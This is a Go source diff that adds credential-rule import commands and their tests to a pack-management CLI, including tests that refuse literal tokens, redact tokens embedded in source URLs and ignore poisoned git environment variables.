+		return "", fmt.Errorf("match must not contain whitespace or a comment marker")
+	}
+	return match, nil
+}
+
+func credentialPathExists(path string) bool {
+	path = strings.TrimSpace(path)
+	if path == "" {
+		return false
+	}
+	if path == "~" || strings.HasPrefix(path, "~/") {
+		if home, err := os.UserHomeDir(); err == nil && home != "" {
+			path = filepath.Join(home, strings.TrimPrefix(path, "~"))
+		}
+	}
+	_, err := os.Stat(path)
+	return err == nil
+}
diff --git a/cmd/gc/cmd_import_credential_test.go b/cmd/gc/cmd_import_credential_test.go
new file mode 100644
index 0000000000..f2d894c013
--- /dev/null
+++ b/cmd/gc/cmd_import_credential_test.go
@@ -0,0 +1,247 @@
+package main
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/gitcred"
+)
+
+func setupCredCity(t *testing.T) string {
+	t.Helper()
+	city := t.TempDir()
+	if err := os.MkdirAll(filepath.Join(city, ".gc"), 0o755); err != nil {
+		t.Fatalf("mkdir .gc: %v", err)
+	}
+	// Point resolveImportRoot at the city via GC_CITY_PATH.
+	t.Setenv("GC_CITY_PATH", city)
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(gitcred.EnvCredentialsFile, "")
+	t.Setenv(gitcred.EnvCredentialCommand, "")
+	// Clear the ambient GitHub token env so the built-in github.com default rule
+	// stays inert and these tests observe only their own configured rules.
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+	return city
+}
+
+func TestImportCredentialAddWrites0600(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("permission bits are POSIX-only")
+	}
+	city := setupCredCity(t)
+	var stdout, stderr strings.Builder
+	rc := doImportCredentialAdd(gitcred.Rule{Match: "github.com/gascity", Helper: "gh auth token"}, false, &stdout, &stderr)
+	if rc != 0 {
+		t.Fatalf("add rc=%d stderr=%q", rc, stderr.String())
+	}
+	path := filepath.Join(city, ".gc", "credentials.toml")
+	info, err := os.Stat(path)
+	if err != nil {
+		t.Fatalf("stat: %v", err)
+	}
+	if info.Mode().Perm() != 0o600 {
+		t.Fatalf("mode = %v, want 0600", info.Mode().Perm())
+	}
+	if !strings.Contains(stdout.String(), "Added pack credential for \"github.com/gascity\" (helper)") {
+		t.Fatalf("stdout = %q", stdout.String())
+	}
+}
+
+func TestImportCredentialAddRoundTripLoads(t *testing.T) {
+	city := setupCredCity(t)
+	var stdout, stderr strings.Builder
+	if rc := doImportCredentialAdd(gitcred.Rule{Match: "github.com/gascity", TokenEnv: "GC_TOK"}, false, &stdout, &stderr); rc != 0 {
+		t.Fatalf("add rc=%d stderr=%q", rc, stderr.String())
+	}
+	rules, err := gitcred.Load(city)
+	if err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+	got, ok := rules.MatchSource("https://github.com/gascity/repo")
+	if !ok || got.TokenEnv != "GC_TOK" {
+		t.Fatalf("round trip failed: %+v ok=%v", got, ok)
+	}
+}
+
+func TestImportCredentialAddDuplicateRejected(t *testing.T) {
+	setupCredCity(t)
+	var out strings.Builder
+	if rc := doImportCredentialAdd(gitcred.Rule{Match: "github.com/gascity", Helper: "gh auth token"}, false, &out, &out); rc != 0 {
+		t.Fatalf("first add failed: %q", out.String())
+	}
+	var stderr strings.Builder
+	if rc := doImportCredentialAdd(gitcred.Rule{Match: "github.com/gascity/", Helper: "gh auth token"}, false, &out, &stderr); rc == 0 {
+		t.Fatalf("duplicate add should fail")
+	}
+	if !strings.Contains(stderr.String(), "already exists") {
+		t.Fatalf("stderr = %q", stderr.String())
+	}
+}
+
+func TestImportCredentialAddNoPointer(t *testing.T) {
+	setupCredCity(t)
+	var stderr strings.Builder
+	if rc := doImportCredentialAdd(gitcred.Rule{Match: "github.com"}, false, discardBuf(), &stderr); rc == 0 {
+		t.Fatalf("add with no pointer should fail")
+	}
+	if !strings.Contains(stderr.String(), "exactly one of") {
+		t.Fatalf("stderr = %q", stderr.String())
+	}
+}
+
+func TestImportCredentialAddRejectsURLMatch(t *testing.T) {
+	setupCredCity(t)
+	var stderr strings.Builder
+	if rc := doImportCredentialAdd(gitcred.Rule{Match: "https://github.com/org", Helper: "x"}, false, discardBuf(), &stderr); rc == 0 {
+		t.Fatalf("URL match should fail")
+	}
+	if !strings.Contains(stderr.String(), "not a URL") {
+		t.Fatalf("stderr = %q", stderr.String())
+	}
+}
+
+func TestImportCredentialAddRejectsUserinfoMatch(t *testing.T) {
+	setupCredCity(t)
+	var stderr strings.Builder
+	if rc := doImportCredentialAdd(gitcred.Rule{Match: "user@github.com", Helper: "x"}, false, discardBuf(), &stderr); rc == 0 {
+		t.Fatalf("userinfo match should fail")
+	}
+	if !strings.Contains(stderr.String(), "user info") {
+		t.Fatalf("stderr = %q", stderr.String())
+	}
+}
+
+func TestImportCredentialAddRefusesLiteralToken(t *testing.T) {
+	setupCredCity(t)
+	var stderr strings.Builder
+	if rc := doImportCredentialAdd(gitcred.Rule{Match: "github.com", Helper: "ghp_literaltoken"}, false, discardBuf(), &stderr); rc == 0 {
+		t.Fatalf("literal token should be refused")
+	}
+	if !strings.Contains(stderr.String(), "refusing a literal token") {
+		t.Fatalf("stderr = %q", stderr.String())
+	}
+}
+
+func TestImportCredentialAddGlobal(t *testing.T) {
+	setupCredCity(t)
+	home := os.Getenv("GC_HOME")
+	var out strings.Builder
+	if rc := doImportCredentialAdd(gitcred.Rule{Match: "github.com", Helper: "gh auth token"}, true, &out, &out); rc != 0 {
+		t.Fatalf("global add failed: %q", out.String())
+	}
+	if _, err := os.Stat(filepath.Join(home, "credentials.toml")); err != nil {
+		t.Fatalf("global file not written: %v", err)
+	}
+}
+
+func TestImportCredentialAddEnvFileRedirect(t *testing.T) {
+	setupCredCity(t)
+	explicit := filepath.Join(t.TempDir(), "explicit.toml")
+	t.Setenv(gitcred.EnvCredentialsFile, explicit)
+	var stdout, stderr strings.Builder
+	if rc := doImportCredentialAdd(gitcred.Rule{Match: "github.com", Helper: "gh auth token"}, false, &stdout, &stderr); rc != 0 {
+		t.Fatalf("add failed: %q", stderr.String())
+	}
+	if _, err := os.Stat(explicit); err != nil {
+		t.Fatalf("explicit file not written: %v", err)
+	}
+	if !strings.Contains(stderr.String(), "writing $GC_GIT_CREDENTIALS_FILE") {
+		t.Fatalf("expected redirect notice, got %q", stderr.String())
+	}
+}
+
+func TestImportCredentialListExactOutput(t *testing.T) {
+	city := setupCredCity(t)
+	if err := os.WriteFile(filepath.Join(city, ".gc", "credentials.toml"),
+		[]byte("[[credential]]\nmatch=\"github.com/gascity\"\ntoken_env=\"GC_TOK\"\n"), 0o600); err != nil {
+		t.Fatalf("write: %v", err)
+	}
+	_ = os.Chmod(filepath.Join(city, ".gc", "credentials.toml"), 0o600)
+	var stdout, stderr strings.Builder
+	if rc := doImportCredentialList(&stdout, &stderr); rc != 0 {
+		t.Fatalf("list rc stderr=%q", stderr.String())
+	}
+	line := strings.TrimSpace(stdout.String())
+	fields := strings.Split(line, "\t")
+	if len(fields) != 4 {
+		t.Fatalf("want 4 tab-separated fields, got %q", line)
+	}
+	if fields[0] != "github.com/gascity" || fields[1] != "x-access-token" || fields[2] != "token_env=GC_TOK" {
+		t.Fatalf("unexpected list line: %q", line)
+	}
+}
+
+func TestImportCredentialListEmpty(t *testing.T) {
+	setupCredCity(t)
+	var stdout strings.Builder
+	if rc := doImportCredentialList(&stdout, discardBuf()); rc != 0 {
+		t.Fatalf("list rc")
+	}
+	if !strings.Contains(stdout.String(), "No pack credentials configured") {
+		t.Fatalf("stdout = %q", stdout.String())
+	}
+}
+
+func TestImportCredentialListCommandLayer(t *testing.T) {
+	setupCredCity(t)
+	t.Setenv(gitcred.EnvCredentialCommand, "my-helper get")
+	var stdout strings.Builder
+	if rc := doImportCredentialList(&stdout, discardBuf()); rc != 0 {
+		t.Fatalf("list rc")
+	}
+	if !strings.Contains(stdout.String(), "command=$GC_GIT_CREDENTIAL_COMMAND") {
+		t.Fatalf("command layer not listed: %q", stdout.String())
+	}
+}
+
+func TestImportCredentialRemove(t *testing.T) {
+	city := setupCredCity(t)
+	var out strings.Builder
+	if rc := doImportCredentialAdd(gitcred.Rule{Match: "github.com/gascity", Helper: "gh auth token"}, false, &out, &out); rc != 0 {
+		t.Fatalf("add failed: %q", out.String())
+	}
+	var stdout, stderr strings.Builder
+	if rc := doImportCredentialRemove("github.com/gascity", false, &stdout, &stderr); rc != 0 {
+		t.Fatalf("remove rc stderr=%q", stderr.String())
+	}
+	if !strings.Contains(stdout.String(), "Removed pack credential for \"github.com/gascity\"") {
+		t.Fatalf("stdout = %q", stdout.String())
+	}
+	rules, _ := gitcred.Load(city)
+	if len(rules.All()) != 0 {
+		t.Fatalf("rule not removed: %+v", rules.All())
+	}
+}
+
+func TestImportCredentialRemoveNotFound(t *testing.T) {
+	setupCredCity(t)
+	var stderr strings.Builder
+	if rc := doImportCredentialRemove("github.com/none", false, discardBuf(), &stderr); rc == 0 {
+		t.Fatalf("remove of absent credential should fail")
+	}
+}
+
+func TestImportCredentialRemoveIgnoresAmbientTokenOrigin(t *testing.T) {
+	// The built-in ambient github.com default has a synthetic $GH_TOKEN origin,
+	// not a file. Removing an absent github.com credential must fail with a plain
+	// not-found message, never "found in $GH_TOKEN; ... edit that file".
+	setupCredCity(t)
+	t.Setenv("GH_TOKEN", "gh_ambient")
+	var stderr strings.Builder
+	if rc := doImportCredentialRemove("github.com", false, discardBuf(), &stderr); rc == 0 {
+		t.Fatalf("remove of an ambient-only credential should fail")
+	}
+	msg := stderr.String()
+	if strings.Contains(msg, "$GH_TOKEN") || strings.Contains(msg, "edit that file") {
+		t.Fatalf("remove guidance must not point at the synthetic env origin, got %q", msg)
+	}
+	if !strings.Contains(msg, `no credential for "github.com"`) {
+		t.Fatalf("expected a plain not-found message, got %q", msg)
+	}
+}
+
+func discardBuf() *strings.Builder { return &strings.Builder{} }
diff --git a/cmd/gc/cmd_import_hint_test.go b/cmd/gc/cmd_import_hint_test.go
new file mode 100644
index 0000000000..fa23b986b5
--- /dev/null
+++ b/cmd/gc/cmd_import_hint_test.go
@@ -0,0 +1,102 @@
+package main
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/gitcred"
+	"github.com/gastownhall/gascity/internal/packman"
+)
+
+func authErrorSeam(matched bool) error {
+	return fmt.Errorf("head probe failed: %w", &gitcred.AuthError{
+		Host:       "github.com",
+		OrgPrefix:  "github.com/gascity",
+		Repo:       "https://github.com/gascity/repo",
+		Matched:    matched,
+		RuleOrigin: "/city/.gc/credentials.toml",
+		Output:     "terminal prompts disabled",
+	})
+}
+
+func setupHintCity(t *testing.T) string {
+	t.Helper()
+	city := t.TempDir()
+	if err := os.WriteFile(filepath.Join(city, "city.toml"), []byte("[workspace]\nname = \"demo\"\n"), 0o644); err != nil {
+		t.Fatalf("write city.toml: %v", err)
+	}
+	return city
+}
+
+func stubHeadCommitAuthError(t *testing.T, matched bool) {
+	t.Helper()
+	prevResolve := resolveImportVersion
+	prevHead := resolveImportHeadCommit
+	t.Cleanup(func() {
+		resolveImportVersion = prevResolve
+		resolveImportHeadCommit = prevHead
+	})
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
+		return packman.ResolvedVersion{}, packman.ErrNoSemverTags
+	}
+	resolveImportHeadCommit = func(_, _ string) (string, error) {
+		return "", authErrorSeam(matched)
+	}
+}
+
+func TestDoImportAddPrintsUnmatchedHint(t *testing.T) {
+	city := setupHintCity(t)
+	stubHeadCommitAuthError(t, false)
+	var stdout, stderr strings.Builder
+	rc := doImportAdd(fsys.OSFS{}, city, "https://github.com/gascity/repo", "", "", &stdout, &stderr)
+	if rc == 0 {
+		t.Fatalf("expected failure")
+	}
+	if !strings.Contains(stderr.String(), "register a pack credential and retry") {
+		t.Fatalf("unmatched hint missing: %q", stderr.String())
+	}
+	if !strings.Contains(stderr.String(), "gc import credential add github.com/gascity") {
+		t.Fatalf("hint missing the suggested command: %q", stderr.String())
+	}
+}
+
+func TestDoImportAddPrintsMatchedHint(t *testing.T) {
+	city := setupHintCity(t)
+	stubHeadCommitAuthError(t, true)
+	var stdout, stderr strings.Builder
+	rc := doImportAdd(fsys.OSFS{}, city, "https://github.com/gascity/repo", "", "", &stdout, &stderr)
+	if rc == 0 {
+		t.Fatalf("expected failure")
+	}
+	if !strings.Contains(stderr.String(), "matched but the remote rejected it") {
+		t.Fatalf("matched hint missing: %q", stderr.String())
+	}
+}
+
+func TestDoImportAddNoHintForNonAuthError(t *testing.T) {
+	city := setupHintCity(t)
+	prevResolve := resolveImportVersion
+	prevHead := resolveImportHeadCommit
+	t.Cleanup(func() {
+		resolveImportVersion = prevResolve
+		resolveImportHeadCommit = prevHead
+	})
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
+		return packman.ResolvedVersion{}, packman.ErrNoSemverTags
+	}
+	resolveImportHeadCommit = func(_, _ string) (string, error) {
+		return "", fmt.Errorf("some network blip")
+	}
+	var stdout, stderr strings.Builder
+	rc := doImportAdd(fsys.OSFS{}, city, "https://github.com/gascity/repo", "", "", &stdout, &stderr)
+	if rc == 0 {
+		t.Fatalf("expected failure")
+	}
+	if strings.Contains(stderr.String(), "hint:") {
+		t.Fatalf("non-auth error must not print a hint: %q", stderr.String())
+	}
+}
diff --git a/cmd/gc/cmd_import_status.go b/cmd/gc/cmd_import_status.go
index 81c0105eb3..d7513550e0 100644
--- a/cmd/gc/cmd_import_status.go
+++ b/cmd/gc/cmd_import_status.go
@@ -132,7 +132,7 @@ func doImportStatus(cityPath string, jsonOut bool, stdout, stderr io.Writer) int
 // buildImportStatus assembles the import status document for cityPath.
 func buildImportStatus(cityPath string) (*ImportStatusJSON, error) {
 	fs := fsys.OSFS{}
-	allImports, err := collectAllImportsFS(fs, cityPath)
+	allImports, err := collectAllImportsFS(cityPath)
 	if err != nil {
 		return nil, err
 	}
diff --git a/cmd/gc/cmd_import_test.go b/cmd/gc/cmd_import_test.go
index ae49b45c9c..42622bf813 100644
--- a/cmd/gc/cmd_import_test.go
+++ b/cmd/gc/cmd_import_test.go
@@ -28,7 +28,7 @@ func TestDoImportAddRemoteWritesConfigAndLock(t *testing.T) {
 		defaultImportConstraint = prevConstraint
 		syncImports = prevSync
 	})
-	resolveImportVersion = func(_, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
 		return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
 	}
 	defaultImportConstraint = func(_ string) (string, error) { return "^1.4", nil }
@@ -113,7 +113,7 @@ session_live = ["echo hi"]
 		defaultImportConstraint = prevConstraint
 		syncImports = prevSync
 	})
-	resolveImportVersion = func(_, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
 		return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
 	}
 	defaultImportConstraint = func(_ string) (string, error) { return "^1.4", nil }
@@ -182,7 +182,7 @@ knob = "keep-me"
 		defaultImportConstraint = prevConstraint
 		syncImports = prevSync
 	})
-	resolveImportVersion = func(_, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
 		return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
 	}
 	defaultImportConstraint = func(_ string) (string, error) { return "^1.4", nil }
@@ -228,7 +228,7 @@ source = "./packs/gastown"
 		defaultImportConstraint = prevConstraint
 		syncImports = prevSync
 	})
-	resolveImportVersion = func(_, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
 		return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
 	}
 	defaultImportConstraint = func(_ string) (string, error) { return "^1.4", nil }
@@ -297,7 +297,7 @@ source = "./packs/foo"
 		defaultImportConstraint = prevConstraint
 		syncImports = prevSync
 	})
-	resolveImportVersion = func(_, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
 		return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
 	}
 	defaultImportConstraint = func(_ string) (string, error) { return "^1.4", nil }
@@ -347,7 +347,7 @@ source = "./packs/a-pack"
 		defaultImportConstraint = prevConstraint
 		syncImports = prevSync
 	})
-	resolveImportVersion = func(_, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
 		return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
 	}
 	defaultImportConstraint = func(_ string) (string, error) { return "^1.4", nil }
@@ -627,7 +627,12 @@ source = "packs/tools"
 	}
 }
 
-func TestDoImportRemoveRefusesCityOverriddenPackImport(t *testing.T) {
+// A city.toml [imports] override owns the effective binding that list surfaces,
+// so removing a name defined by BOTH pack.toml and city.toml peels the city
+// override (leaving the pack.toml entry declared and effective again) rather
+// than refusing — otherwise list would surface a binding remove could never
+// delete.
+func TestDoImportRemovePeelsCityOverriddenPackImport(t *testing.T) {
 	clearGCEnv(t)
 	dir := t.TempDir()
 	writePackToml(t, dir, `[pack]
@@ -647,33 +652,37 @@ source = "packs/tools"
 
 	prevSync := syncImports
 	t.Cleanup(func() { syncImports = prevSync })
-	syncImports = func(_ string, _ map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
-		t.Fatal("syncImports must not run for a refused remove")
-		return nil, nil
+	var synced map[string]config.Import
+	syncImports = func(_ string, imports map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+		synced = imports
+		return &packman.Lockfile{Schema: packman.LockfileSchema, Packs: map[string]packman.LockedPack{}}, nil
 	}
 
 	var stdout, stderr bytes.Buffer
 	code := doImportRemove(fsys.OSFS{}, dir, "tools", &stdout, &stderr)
-	if code != 1 {
-		t.Fatalf("code = %d, want 1; stderr = %s", code, stderr.String())
-	}
-	if !strings.Contains(stderr.String(), "city.toml") {
-		t.Fatalf("stderr must point at city.toml ownership:\n%s", stderr.String())
+	if code != 0 {
+		t.Fatalf("code = %d, want 0; stderr = %s", code, stderr.String())
 	}
 
+	// The pack.toml entry survives the peel and is effective again...
 	manifest, err := loadCityPackManifestFS(fsys.OSFS{}, dir)
 	if err != nil {
 		t.Fatalf("loadCityPackManifestFS: %v", err)
 	}
-	if _, ok := manifest.Imports["tools"]; !ok {
-		t.Fatal("pack.toml imports.tools must survive a refused remove")
+	if got, ok := manifest.Imports["tools"]; !ok || got.Source != "https://example.com/tools.git" {
+		t.Fatalf("pack.toml imports.tools = %#v ok=%v; must survive the peel", got, ok)
 	}
+	// ...and the city.toml override is removed.
 	cfg, err := loadCityImportManifestFS(fsys.OSFS{}, dir)
 	if err != nil {
 		t.Fatalf("loadCityImportManifestFS: %v", err)
 	}
-	if _, ok := cfg.Imports["tools"]; !ok {
-		t.Fatal("city.toml imports.tools must survive a refused remove")
+	if _, ok := cfg.Imports["tools"]; ok {
+		t.Fatal("city.toml imports.tools override must be peeled off by remove")
+	}
+	// Lock sync keeps tools re-pointed to the pack value, not dropped.
+	if got, ok := synced["pack:tools"]; !ok || got.Source != "https://example.com/tools.git" {
+		t.Fatalf("synced pack:tools = %#v ok=%v; want the pack binding preserved", got, ok)
 	}
 }
 
@@ -1397,8 +1406,67 @@ func TestDoImportAddRejectsReservedDefaultRigPrefix(t *testing.T) {
 	if code == 0 {
 		t.Fatal("expected reserved prefix import add to fail")
 	}
-	if !strings.Contains(stderr.String(), "reserved prefix") {
-		t.Fatalf("stderr = %q", stderr.String())
+	// The historical CLI printed this bare, with no source-quoted prefix and no
+	// "invalid import source:" wrapper. Pin the exact line to catch drift.
+	want := "gc import add: import name \"default-rig:worker\" uses reserved prefix \"default-rig:\"\n"
+	if stderr.String() != want {
+		t.Fatalf("stderr = %q, want %q", stderr.String(), want)
+	}
+}
+
+func TestDoImportAddBareMessageWhenNameUnderivable(t *testing.T) {
+	clearGCEnv(t)
+	dir := t.TempDir()
+	writeCityToml(t, dir, "[workspace]\nname = \"demo\"\n")
+	writePackToml(t, dir, "[pack]\nname = \"demo\"\nschema = 1\n")
+
+	var stdout, stderr bytes.Buffer
+	// A bare scheme with no path derives to an empty name.
+	code := doImportAdd(fsys.OSFS{}, dir, "https://", "", "", &stdout, &stderr)
+	if code == 0 {
+		t.Fatal("expected underivable name to fail")
+	}
+	want := "gc import add: could not derive import name; use --name\n"
+	if stderr.String() != want {
+		t.Fatalf("stderr = %q, want %q", stderr.String(), want)
+	}
+}
+
+// The ErrImportExists arm surfaces importsvc's sentinel prefix verbatim after
+// the extraction. Pin the exact line so this blessed (non-byte-identical)
+// contract cannot drift silently.
+func TestDoImportAddExactLineWhenImportExists(t *testing.T) {
+	clearGCEnv(t)
+	dir := t.TempDir()
+	writeCityToml(t, dir, "[workspace]\nname = \"demo\"\n")
+	writePackToml(t, dir, "[pack]\nname = \"demo\"\nschema = 1\n\n[imports.tools]\nsource = \"https://example.com/tools.git\"\nversion = \"^1.4\"\n")
+
+	var stdout, stderr bytes.Buffer
+	code := doImportAdd(fsys.OSFS{}, dir, "https://example.com/tools.git", "", "", &stdout, &stderr)
+	if code == 0 {
+		t.Fatal("expected duplicate import add to fail")
+	}
+	want := "gc import add: import already exists: import \"tools\" already exists\n"
+	if stderr.String() != want {
+		t.Fatalf("stderr = %q, want %q", stderr.String(), want)
+	}
+}
+
+// The remove ErrNotFound arm likewise surfaces the sentinel prefix verbatim.
+func TestDoImportRemoveExactLineWhenNotFound(t *testing.T) {
+	clearGCEnv(t)
+	dir := t.TempDir()
+	writeCityToml(t, dir, "[workspace]\nname = \"demo\"\n")
+	writePackToml(t, dir, "[pack]\nname = \"demo\"\nschema = 1\n")
+
+	var stdout, stderr bytes.Buffer
+	code := doImportRemove(fsys.OSFS{}, dir, "ghost", &stdout, &stderr)
+	if code == 0 {
+		t.Fatal("expected removing a missing import to fail")
+	}
+	want := "gc import remove: import not found: import \"ghost\" not found\n"
+	if stderr.String() != want {
+		t.Fatalf("stderr = %q, want %q", stderr.String(), want)
 	}
 }
 
@@ -2509,7 +2577,7 @@ func TestDoImportAddBareGitHubSourceDefaultsVersion(t *testing.T) {
 		defaultImportConstraint = prevConstraint
 		syncImports = prevSync
 	})
-	resolveImportVersion = func(source, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, source, _ string) (packman.ResolvedVersion, error) {
 		if source != "github.com/example/tools" {
 			t.Fatalf("ResolveVersion source = %q", source)
 		}
@@ -2551,14 +2619,14 @@ func TestDefaultImportVersionForSourceFallsBackToSHAWhenTagsAbsent(t *testing.T)
 		resolveImportVersion = prevResolve
 		resolveImportHeadCommit = prevHead
 	})
-	resolveImportVersion = func(source, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, source, _ string) (packman.ResolvedVersion, error) {
 		return packman.ResolvedVersion{}, fmt.Errorf("%w for %q", packman.ErrNoSemverTags, source)
 	}
-	resolveImportHeadCommit = func(_ string) (string, error) {
+	resolveImportHeadCommit = func(_, _ string) (string, error) {
 		return "deadbeef", nil
 	}
 
-	got, err := defaultImportVersionForSource("github.com/example/tools")
+	got, err := defaultImportVersionForSource("", "github.com/example/tools")
 	if err != nil {
 		t.Fatalf("defaultImportVersionForSource: %v", err)
 	}
@@ -2813,7 +2881,7 @@ schema = 1
 	prevSync := syncImports
 	cityFlag = ""
 	rigFlag = ""
-	resolveImportVersion = func(_, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
 		return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
 	}
 	defaultImportConstraint = func(_ string) (string, error) { return "^1.4", nil }
@@ -2902,7 +2970,7 @@ schema = 1
 	prevSync := syncImports
 	cityFlag = ""
 	rigFlag = ""
-	resolveImportVersion = func(_, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
 		return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
 	}
 	defaultImportConstraint = func(_ string) (string, error) { return "^1.4", nil }
@@ -2967,7 +3035,7 @@ schema = 1
 	prevSync := syncImports
 	cityFlag = dir
 	rigFlag = ""
-	resolveImportVersion = func(_, _ string) (packman.ResolvedVersion, error) {
+	resolveImportVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
 		return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
 	}
 	defaultImportConstraint = func(_ string) (string, error) { return "^1.4", nil }
@@ -3235,7 +3303,7 @@ func TestDefaultImportHeadCommitIgnoresPoisonedGitEnv(t *testing.T) {
 	t.Setenv("GIT_WORK_TREE", poison)
 	t.Setenv("GIT_INDEX_FILE", filepath.Join(poison, ".git", "index"))
 
-	got, err := defaultImportHeadCommit(repo)
+	got, err := defaultImportHeadCommit("", repo)
 	if err != nil {
 		t.Fatalf("defaultImportHeadCommit with poisoned git env: %v", err)
 	}
@@ -3243,3 +3311,19 @@ func TestDefaultImportHeadCommitIgnoresPoisonedGitEnv(t *testing.T) {
 		t.Fatalf("defaultImportHeadCommit = %q, want %q (must resolve the requested source)", got, wantHead)
 	}
 }
+
+// TestDefaultImportHeadCommitRedactsUserinfo proves the HEAD-resolve error never
+// echoes a userinfo token in the source. GIT_ALLOW_PROTOCOL=file fails the https
+// probe instantly (offline) so the resolve error path runs without a network hit.
+func TestDefaultImportHeadCommitRedactsUserinfo(t *testing.T) {
+	t.Setenv("GIT_ALLOW_PROTOCOL", "file")
+	t.Setenv("GIT_TERMINAL_PROMPT", "0")
+
+	_, err := defaultImportHeadCommit("", "https://user:ghp_secret@github.com/example/repo")
+	if err == nil {
+		t.Fatalf("expected the offline https probe to fail")
+	}
+	if strings.Contains(err.Error(), "ghp_secret") {
+		t.Fatalf("resolve error leaked the userinfo token: %v", err)
+	}
+}
diff --git a/cmd/gc/cmd_import_userinfo_test.go b/cmd/gc/cmd_import_userinfo_test.go
new file mode 100644
index 0000000000..99f216b4bb
--- /dev/null
+++ b/cmd/gc/cmd_import_userinfo_test.go
@@ -0,0 +1,28 @@
+package main
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/fsys"
+)
+
+func TestDoImportAddRejectsUserinfoAndRedacts(t *testing.T) {
+	city := t.TempDir()
+	if err := os.WriteFile(filepath.Join(city, "city.toml"), []byte("[workspace]\nname = \"demo\"\n"), 0o644); err != nil {
+		t.Fatalf("write city.toml: %v", err)
+	}
+	var stdout, stderr strings.Builder
+	rc := doImportAdd(fsys.OSFS{}, city, "https://user:ghp_secrettoken@github.com/gascity/repo", "", "", &stdout, &stderr)
+	if rc == 0 {
+		t.Fatalf("expected userinfo source to be rejected")
+	}
+	if strings.Contains(stderr.String(), "ghp_secrettoken") {
+		t.Fatalf("stderr leaked the token: %q", stderr.String())
+	}
+	if !strings.Contains(stderr.String(), "***@") {
+		t.Fatalf("stderr should carry a redacted source, got %q", stderr.String())
+	}
+}
diff --git a/cmd/gc/cmd_init_gascity_test.go b/cmd/gc/cmd_init_gascity_test.go
index 19e17b5c6a..70eb7ed71f 100644
--- a/cmd/gc/cmd_init_gascity_test.go
+++ b/cmd/gc/cmd_init_gascity_test.go
@@ -131,6 +131,44 @@ func TestDoInitWithGascityTemplate(t *testing.T) {
 	}
 }
 
+// TestDoInitGascityTemplateSeedsRolesDefaultRigImport pins gascity#3832: a
+// fresh gascity city must seed the gc-roles pack as a default rig import (bound
+// "gc") so rigs added to the city receive the role agents the built-in formulas
+// route to (gc.run-operator, ...). doInit writes default rig imports into
+// city.toml under [defaults.rig.imports]. Without this a freshly initialized
+// city failed `build-from-requirements` with `agent "gc.run-operator" not found
+// in city.toml`.
+func TestDoInitGascityTemplateSeedsRolesDefaultRigImport(t *testing.T) {
+	f := fsys.NewFake()
+
+	wiz := defaultWizardConfig()
+	wiz.configName = "gascity"
+	wiz.provider = "claude"
+	wiz.providers = []string{"claude"}
+
+	var stdout, stderr bytes.Buffer
+	code := doInit(f, "/bright-lights", wiz, "", &stdout, &stderr, false)
+	if code != 0 {
+		t.Fatalf("doInit = %d, want 0; stderr: %s", code, stderr.String())
+	}
+
+	cityData := f.Files[filepath.Join("/bright-lights", "city.toml")]
+	cityCfg, err := config.Parse(cityData)
+	if err != nil {
+		t.Fatalf("parsing city.toml: %v", err)
+	}
+	roles, ok := cityCfg.Defaults.Rig.Imports["gc"]
+	if !ok {
+		t.Fatalf("city.toml [defaults.rig.imports] = %v, want gc roles entry:\n%s", cityCfg.Defaults.Rig.Imports, cityData)
+	}
+	if roles.Source != config.PublicGascityRolesPackSource {
+		t.Errorf("roles default rig import source = %q, want %q", roles.Source, config.PublicGascityRolesPackSource)
+	}
+	if roles.Version != config.PublicGascityPackVersion {
+		t.Errorf("roles default rig import version = %q, want %q", roles.Version, config.PublicGascityPackVersion)
+	}
+}
+
 // TestInitTemplateHelpAndErrorAdvertiseAcceptedTemplates keeps the public
 // --template flag help and the unknown-template error synchronized with the
 // set normalizeInitTemplate accepts. gascity regressed here once: the parser
diff --git a/cmd/gc/cmd_mail.go b/cmd/gc/cmd_mail.go
index 6c49ae58a8..c4682f0ea2 100644
--- a/cmd/gc/cmd_mail.go
+++ b/cmd/gc/cmd_mail.go
@@ -903,7 +903,7 @@ func isStorelessMailProvider() bool {
 // sessionMailboxAddress / sessionMailboxAddresses delegate to the session-class
 // front-door codec (internal/session) so the session-bead metadata vocabulary
